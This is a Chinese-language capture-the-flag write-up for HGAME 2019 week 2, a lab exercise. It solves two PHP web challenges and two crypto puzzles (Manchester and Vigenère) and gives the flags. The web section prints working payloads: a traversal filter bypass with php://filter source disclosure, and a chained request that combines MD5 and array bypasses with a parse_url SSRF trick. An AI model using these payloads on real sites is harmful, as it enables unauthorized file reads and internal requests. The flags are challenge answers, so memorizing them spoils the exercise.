week2

web

注：这周总共就做了5个小时不到，有点尴尬，家里事情比较多，见谅！！！

easy_php

Description

代码审计♂第二弹

URL http://118.24.25.25:9999/easyphp/index.html

Base Score 150

Now Score 150

User solved 114

首先看标题，知道信息隐藏在robots.txt里面，

```
img/index.php
```

进入img/index.php，发现

```
<?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
```

想到str_replace函数漏洞，只会遍历一次，构造

```
http://118.24.25.25:9999/easyphp/img/index.php?img=..././flag
```

出现

```
maybe_you_should_think_think <?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
```

想了老半天，比如去更深的路径里面，无果，最后尝试，php伪协议，base64输出

```
http://118.24.25.25:9999/easyphp/img/index.php?img=php://filter/read=convert.base64-
encode/resource=..././flag
```

输出结果

```
PD9waHAKICAgIC8vJGZsYWcgPSAnaGdhbWV7WW91XzRyZV9Tb19nMG9kfSc7CiAgICBlY2hvICJtYXliZV95b3Vfc2hvdWxk
X3RoaW5rX3RoaW5rIjsK <?php
    error_reporting(0);
    $img = $_GET['img'];
    if(!isset($img))
        $img = '1';
    $img = str_replace('../', '', $img);
    include_once($img.".php");
    highlight_file(__FILE__);
```

解码得flag

```
hgame{You_4re_So_g0od}
```

php trick

Description

some php tricks

URL http://118.24.3.214:3001

Base Score 200

Now Score 200

User solved 85

题目描述

```
 <?php

//admin.php
```

```
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
    die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
    die('step 2 fail');
}
if( $str3 == $str4 ){
    die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
    die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
    die('step 5 fail');
}
if(is_numeric($str5)){
    die('step 6 fail');
}
if ($str5<9999999999){
    die('step 7 fail');
}
if ((string)$str5>0){
    die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
    die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
    die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
    die('step 11 fail');
}
else{
    echo $output;
}
step 1 fail
```

payload

```
%48%5f%67%61%6d%65[]=9e999dgsafd&str1=s878926199a&str2=s155964671a&str3[]=1&str4[]=2&9e999&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php
```

我觉得都挺清楚的，记得数组可以绕很多东西，比如MD5，字符串张磊，还有伪协议的作用，其他如

```
parse_url(url, PHP_URL_HOST)
parse_url(url,PHP_URL_SCHEME)
```

直接百度就好了

flag:

```
hgame{ThEr4_Ar4_s0m4_Php_Tr1cks}
```

crypto

浪漫的足球圣地

Description

无

URL http://plir4axuz.bkt.clouddn.com/hgame2019/orz/enc.txt

Base Score 150

Now Score 150

User solved 52

直接百度'浪漫的足球圣地'，结果：曼彻斯特，得知是曼彻斯特编码，查找在线解密，送一个密码学小白的礼物：

[密码学解密在线网站网址大全]()

将原密文变成8421BCD码

```
1001011001101010100101101001010110010110101010011001011001011001100101101001100110010101011001011010010110100101100101101001011010100101101001101010010110011010100101101001100110100101100110011010010110010110101001011001010110100101100110011010010101101001101001011010100110010110100110011010010101101001100101101010010110010110101001101001011010101001100101101010011010100101101001101001011010101001101001011001010110010110100110101010010110100110100101101001011010100101101010011001011010010110101001011001010110100101100110101010010101101010100101101010100110100101101010011001011010011010101001011001101010010101010110011001
```

曼彻斯特解码得

```
01101000011001110110000101101101011001010111101100110011011001100011001000110100011001010011010
00110110001101110011010100111001001100010110010100111001011000110110001001100001011000100011001
01100001001101110110010000110010011001100011000101100110001101110011010000111000011000010011000
01100100001101000111110
```

最后二进制转字符串，得flag:

```
hgame{3f24e567591e9cbab2a7d2f1f748a1d4}
```

Vigener~

Description

普通的Vigener

URL http://plir4axuz.bkt.clouddn.com/hgame2019/orz/ciphertext.txt

Base Score 150

Now Score 150

User solved 103

真的是普通的Vigener编码，在线网站可以直接解，不多说了

结果

```
The Vigenere ciphe is a method of encrypting alphabetic text by using a series of interwoven
Caesar ciphers, based on the letters of a keyword. It is a form of polyalphabetic substitution.
The cipher is easy to understand and implement, but it resisted all attempts to break it for
three centuries, which earned it the description le chiffre indechiffrable. Many people have
tried to implement encryption schemes that are essentially Vigenere ciphers. In eighteen sixty
three, Friedrich Kasiski was the first to publish a general method of deciphering Vigenere
ciphers. The Vigenere cipher was originally described by Giovan Battista Bellaso in his one
thousand five hundred and fifty-one book La cifra del. Sig. Giovan Battista Bellaso, but the
scheme was later misattributed to Blaise de Vigenere in the nineth century and so acquired its
present name. flag is gfyuytukxariyydfjlplwsxdbzwvqt
```

flag:

```
hgame{gfyuytukxariyydfjlplwsxdbzwvqt}
```